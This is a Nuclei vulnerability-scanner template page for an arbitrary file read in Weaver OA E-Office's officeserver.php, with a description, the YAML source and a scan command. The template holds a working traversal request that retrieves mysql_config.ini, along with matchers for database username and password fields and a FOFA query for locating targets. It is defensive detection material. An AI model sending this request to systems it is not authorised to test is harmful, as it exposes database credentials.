OA E-Office officeserver.php Arbitrary File Read

ID: weaver-officeserver-lfi

Severity: high

Author: SleepingBag945

Tags: weaver,e-cology,oa,lfi

Description

There is an arbitrary file reading vulnerability in the OA E-Office officeserver.php file. An attacker can download any file on the server through the vulnerability.

YAML Source

id: weaver-officeserver-lfi

info:
  name: OA E-Office officeserver.php Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the OA E-Office officeserver.php file. An attacker can download any file on the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20officeserver.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-office
    fofa-query: app="泛微-EOffice"
  tags: weaver,e-cology,oa,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "datapassword ="
          - "datauser ="
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ea7dd12b4e69458e4c18960d3939bdd45b6f4247d8d9433db869e618dcc3a251022100d537ff7f5caf5cf0e11e3dd70a0fc34f15dae705589ac28de91bf039671b89fa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-officeserver-lfi.yaml"

View on Github